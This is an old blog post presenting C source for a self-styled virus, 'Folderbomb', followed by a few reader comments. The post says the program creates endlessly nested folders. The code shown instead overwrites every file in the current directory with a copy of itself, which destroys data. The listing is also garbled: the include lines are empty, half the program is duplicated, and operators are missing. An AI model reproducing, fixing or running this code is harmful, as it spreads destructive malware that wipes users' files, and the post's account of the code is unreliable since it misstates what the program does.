Tuesday, December 21, 2010
4
SIMPLE VIRUS CODING
SIMPLE VIRUS CODING
It will create Folder in a Folder in a Folder and so on ......
#include
#include
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
#include
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt); else break; } close(source); close(target); done = findnext(&ffblk); } getch(); } |
Subscribe to:
Post Comments (Atom)
4 Responses to “SIMPLE VIRUS CODING”
December 22, 2010 at 9:18 PM
hi, you missed some header files... please include the header files and post it....
December 22, 2010 at 11:39 PM
try stdio.h, conio.h, file.h, stdlib.h
December 23, 2010 at 12:10 AM
yaaa...i will update all header file....as soon as possible.
March 21, 2011 at 3:25 PM
@ priya sing: kyun kisiki waat laga rahi ho yar.. - Sunny
Post a Comment